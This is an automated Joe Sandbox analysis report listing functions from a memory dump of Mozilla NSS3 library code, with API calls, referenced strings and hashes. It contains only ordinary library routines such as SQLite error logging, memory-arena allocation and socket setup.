Instruction ID: 038eecdfb70b3b59574c6f7be4e6aeaf1679876b563bf5536780a309f12f9a33
Opcode Fuzzy Hash: 595d2d6e1db26e6036a4004323d3d9c0d647e330ae3d9872f3516f160606c0e6
Instruction Fuzzy Hash: 7851E471A157819FD704CF28C494AA6BBF0BF59308B24929DC8884BB02D771F5A6CBD1

Function 6C467C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C467D35

Strings

database corruption, xrefs: 6C467D29
%s at line %d of [%.10s], xrefs: 6C467D2E
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C467D13, 6C467D1F, 6C467D47, 6C467D53, 6C467D5F

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 37a55b82f1bd3d9dd52cd88d03d8355412221d77bed5b9bd11053c91191aa144
Instruction ID: b21f8c9058503f1720033f1d5d74d7b2b97021f3375045f6f5cb68b4d98d7b7f
Opcode Fuzzy Hash: 37a55b82f1bd3d9dd52cd88d03d8355412221d77bed5b9bd11053c91191aa144
Instruction Fuzzy Hash: 22312871E0822997C710CF9EC880DBDBBF1EF44309B590596E554B7F89D271D842CBA4

Function 6C456C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C456D36

Strings

database corruption, xrefs: 6C456D2A
%s at line %d of [%.10s], xrefs: 6C456D2F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C456D20

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 0cd6d04a034e85ad074d38f67eeb008204b469bb78b14edc2fc1a6e1b838272c
Instruction ID: d8618307b9de1cbd2ef518fa468b72593849c1180b8140d2a21f2f64e31a69ad
Opcode Fuzzy Hash: 0cd6d04a034e85ad074d38f67eeb008204b469bb78b14edc2fc1a6e1b838272c
Instruction Fuzzy Hash: CB2100306003049BD310CE19D841F9AB7F2AF80318F64892CD8499BF50E371E95ACBA2

Function 6C532FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+Sl,6C5332C2,<+Sl,00000000,00000000,?), ref: 6C532FDA

Part of subcall function 6C5214C0: TlsGetValue.KERNEL32 ref: 6C5214E0
Part of subcall function 6C5214C0: EnterCriticalSection.KERNEL32 ref: 6C5214F5
Part of subcall function 6C5214C0: PR_Unlock.NSS3 ref: 6C52150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C53300B

Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C5210F3
Part of subcall function 6C5210C0: EnterCriticalSection.KERNEL32(?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52110C
Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521141
Part of subcall function 6C5210C0: PR_Unlock.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521182
Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C53302A

Part of subcall function 6C520840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5208B4

Part of subcall function 6C50C3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6C50C45D
Part of subcall function 6C50C3D0: TlsGetValue.KERNEL32 ref: 6C50C494
Part of subcall function 6C50C3D0: EnterCriticalSection.KERNEL32(?), ref: 6C50C4A9
Part of subcall function 6C50C3D0: PR_Unlock.NSS3(?), ref: 6C50C4F4

Strings

<+Sl, xrefs: 6C532FD0

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+Sl
API String ID: 2538134263-2050167520
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: f75e64d2ca5b42311e27c34d02843ca5f6c739f19e7cf19ec70b12a59102524f
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: C011C1B6B00204ABDB008E65AC00A9B77D9AB84268F188134E81CD7781F77AED16C7E1

Function 6C58CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C58CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C58CC7B), ref: 6C58CD7A
Part of subcall function 6C58CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C58CD8E
Part of subcall function 6C58CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C58CDA5
Part of subcall function 6C58CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C58CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C58CCB5
memcpy.VCRUNTIME140(6C6214F4,6C6202AC,00000090), ref: 6C58CCD3
memcpy.VCRUNTIME140(6C621588,6C6202AC,00000090), ref: 6C58CD2B

Part of subcall function 6C4A9AC0: socket.WSOCK32(?,00000017,6C4A99BE), ref: 6C4A9AE6
Part of subcall function 6C4A9AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C4A99BE), ref: 6C4A9AFC

Part of subcall function 6C4B0590: closesocket.WSOCK32(6C4A9A8F,?,?,6C4A9A8F,00000000), ref: 6C4B0597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C58CCB0

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: cae59be8c9a77e6ecdbd59700afc04caa31d6a5ceb9029c227cbcf6c6c3965f8
Instruction ID: 56b9f4e3b85df10c41ef123e01a3c32d1fb4080bf27704e958a701500aaeb7bd
Opcode Fuzzy Hash: cae59be8c9a77e6ecdbd59700afc04caa31d6a5ceb9029c227cbcf6c6c3965f8
Instruction Fuzzy Hash: B1117FF1B093409EDB009F5F9C86B423AF8A756218F111179E51AEBB41E77AEC044BDE

Function 6C525820 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(]aPl,FORTEZZA,00000008,?,00000000,?,?,6C50615D,?,00000000), ref: 6C525844
atoi.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,?,?,6C50615D,?,00000000), ref: 6C525865

Strings

]aPl, xrefs: 6C525826, 6C525843
FORTEZZA, xrefs: 6C52583E

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: L_strncasecmpatoi
String ID: FORTEZZA$]aPl
API String ID: 4019336161-1762143071
Opcode ID: 839fa91757411141ae953fd33b178e48b0bbe3506f2a177ff9241845f45ec32a
Instruction ID: d751d041421ca7b1c019e3968c71f7a67be606a2252a3c3e1b98b4a8286fbe9a
Opcode Fuzzy Hash: 839fa91757411141ae953fd33b178e48b0bbe3506f2a177ff9241845f45ec32a
Instruction Fuzzy Hash: 550149798082913EE7214F398C00756BFD8DF06258F68002AD8D9A2989E3B9E145C780

Function 6C44A8E0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 6C57A480: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C59C3A2,?,?,00000000,00000000), ref: 6C57A528
Part of subcall function 6C57A480: sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C57A6E0

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014576,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C44A94F

Strings

database corruption, xrefs: 6C44A943
%s at line %d of [%.10s], xrefs: 6C44A948
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C44A939

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: d8f8f9f4b1109eb29b2fce250f4b77a3b513466ef30ead90c1ae3c0c3c2df240
Instruction ID: 86e76bc9c2bd659b206c5ea34c1abd79885338d5f11f5c733705a76c1084d5c8
Opcode Fuzzy Hash: d8f8f9f4b1109eb29b2fce250f4b77a3b513466ef30ead90c1ae3c0c3c2df240
Instruction Fuzzy Hash: A2012631A002089BD710CA6ADC15F9BB7F5EF88309F558D39E9595BF40DB31EC098BA5

Function 6C4D8850 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C4E0715), ref: 6C4D8859
PR_NewLock.NSS3 ref: 6C4D8874

Part of subcall function 6C5898D0: calloc.MOZGLUE(00000001,00000084,6C4B0936,00000001,?,6C4B102C), ref: 6C5898E5

PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C4D888D

Strings

NSS, xrefs: 6C4D8887

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: calloc$ArenaInitLockPool
String ID: NSS
API String ID: 2230817933-3870390017
Opcode ID: c3df11776e541dbae1efa14003e1bcc76befcc86cb311658bab0767a39526733
Instruction ID: 9d026af2cc92c08934586b72f0310a0c00f2a195455ca6ebae2d7409ba053a1f
Opcode Fuzzy Hash: c3df11776e541dbae1efa14003e1bcc76befcc86cb311658bab0767a39526733
Instruction Fuzzy Hash: 28F0F662E4222033F21172696C16F9734985FA175EF064035F90CE3F82EE52B50882E6

Function 6C4D98B0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C4E4B4C,?,00000000,?,?,6C4E4C51), ref: 6C4D98CE
EnterCriticalSection.KERNEL32(?,?,6C4E4B4C,?,00000000,?,?,6C4E4C51), ref: 6C4D98E3
PR_Unlock.NSS3(?,6C4E4B4C,?,00000000,?,?,6C4E4C51), ref: 6C4D9903

Strings

LKNl, xrefs: 6C4D98B9, 6C4D98EF

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue
String ID: LKNl
API String ID: 1419708843-2797016384
Opcode ID: 72c63c69850f0ad2425ee6e75d79da44148eed85602f61a4d08285d334bf9d58
Instruction ID: 1a62d014375f590d114b4d91634b24127db4278efa89f0a2b94a0bfd192b518c
Opcode Fuzzy Hash: 72c63c69850f0ad2425ee6e75d79da44148eed85602f61a4d08285d334bf9d58
Instruction Fuzzy Hash: 4E01BC747006049BDB00BF7AC495CAEBBB8EF41215F018A29DCA9C7B00EB31F88587C1

Function 6C58B860 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 41COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000116BB,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,6C57A4E2), ref: 6C58B8C6

Strings

database corruption, xrefs: 6C58B8BA
%s at line %d of [%.10s], xrefs: 6C58B8BF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C58B8B0

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 0daf8af37948c1ecb925733d9ec6de7d0ceeceb6cff3d0946b2f587eed654e7d
Instruction ID: 2d9d9a67143207ffd24b43f2a13c43e6b3b856937fc91fbf51b5708de9381ab8
Opcode Fuzzy Hash: 0daf8af37948c1ecb925733d9ec6de7d0ceeceb6cff3d0946b2f587eed654e7d
Instruction Fuzzy Hash: 3D01F932948160A9D310DB7A5D94D937FBCDF4531575B01C9FA546F6B3E212C802C7E5

Function 6C56A890 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,?,6C555F25,?,?,?,?,?,?,?,?,?,6C55AAD4), ref: 6C56A8A3

Part of subcall function 6C50ADC0: TlsGetValue.KERNEL32(?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AE10
Part of subcall function 6C50ADC0: EnterCriticalSection.KERNEL32(?,?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AE24
Part of subcall function 6C50ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C4ED079,00000000,00000001), ref: 6C50AE5A
Part of subcall function 6C50ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AE6F
Part of subcall function 6C50ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AE7F
Part of subcall function 6C50ADC0: TlsGetValue.KERNEL32(?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AEB1
Part of subcall function 6C50ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AEC9

PK11_FreeSymKey.NSS3(?,00000000,?,6C555F25,?,?,?,?,?,?,?,?,?,6C55AAD4), ref: 6C56A8BA
SECITEM_ZfreeItem_Util.NSS3(%_Ul,00000000,00000000,?,6C555F25,?,?,?,?,?,?,?,?,?,6C55AAD4), ref: 6C56A8CF

Strings

%_Ul, xrefs: 6C56A894, 6C56A8CE

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValue$Item_UnlockUtilZfreefreememset
String ID: %_Ul
API String ID: 2877228265-1384148479
Opcode ID: f0c3e9e5cbe8e1c0e4d11ed4c11895f6dbc0f25d091497aa9567ad15280bd2b6
Instruction ID: a52003d835602403ba3c6554cc27d8a560f7f208b4aefa2953dcf69a8e26a298
Opcode Fuzzy Hash: f0c3e9e5cbe8e1c0e4d11ed4c11895f6dbc0f25d091497aa9567ad15280bd2b6
Instruction Fuzzy Hash: B4F0A0B2A0172597EB109A16EC45B9773D89B0065DF048074D81A97F01E325E80587D1

Function 6C4A39C0 Relevance: 6.5, APIs: 1, Strings: 3, Instructions: 464COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6C4A3CA4

Strings

OaGl, xrefs: 6C4A3EF3, 6C4A3F06
OaGl, xrefs: 6C4A3ED7, 6C4A3B4E
OaGl, xrefs: 6C4A39EC, 6C4A3A64

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: memset
String ID: OaGl$OaGl$OaGl
API String ID: 2221118986-3953114141
Opcode ID: de5bbc715bff4ebf18de7c00aa65cf0c736d33d1b41f49bdab9c9f2b6cbe7aff
Instruction ID: 1b30a436345aa5e1c0c6b2149092846873d56406786655cb0e51876a238d40c7
Opcode Fuzzy Hash: de5bbc715bff4ebf18de7c00aa65cf0c736d33d1b41f49bdab9c9f2b6cbe7aff
Instruction Fuzzy Hash: F8124AB5A00219DFCB14CF99C890EAEBBB6FF88304F148159E815AB756D735EC16CB90

Function 6C457F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C4581DF
LeaveCriticalSection.KERNEL32(?), ref: 6C458239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C458255
sqlite3_free.NSS3(00000000), ref: 6C458260

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 1aec32c6652c1c87ed1e43c10541aac85c63d338ce71f067defeb223e7db009c
Instruction ID: 5ce3426f1339348b6669e5207d2e13a4f279a0286dd5af5ea60496be7c00c4ca
Opcode Fuzzy Hash: 1aec32c6652c1c87ed1e43c10541aac85c63d338ce71f067defeb223e7db009c
Instruction Fuzzy Hash: 9791E031A51208CFEF04DFE6D889FADB7B1BF06306F64002AD4069BB50DB399965CB85

Function 6C531D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C531D8F

Part of subcall function 6C5214C0: TlsGetValue.KERNEL32 ref: 6C5214E0
Part of subcall function 6C5214C0: EnterCriticalSection.KERNEL32 ref: 6C5214F5
Part of subcall function 6C5214C0: PR_Unlock.NSS3 ref: 6C52150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C531DA6

Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C5210F3
Part of subcall function 6C5210C0: EnterCriticalSection.KERNEL32(?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52110C
Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521141
Part of subcall function 6C5210C0: PR_Unlock.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521182
Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C531E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C531ED0

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
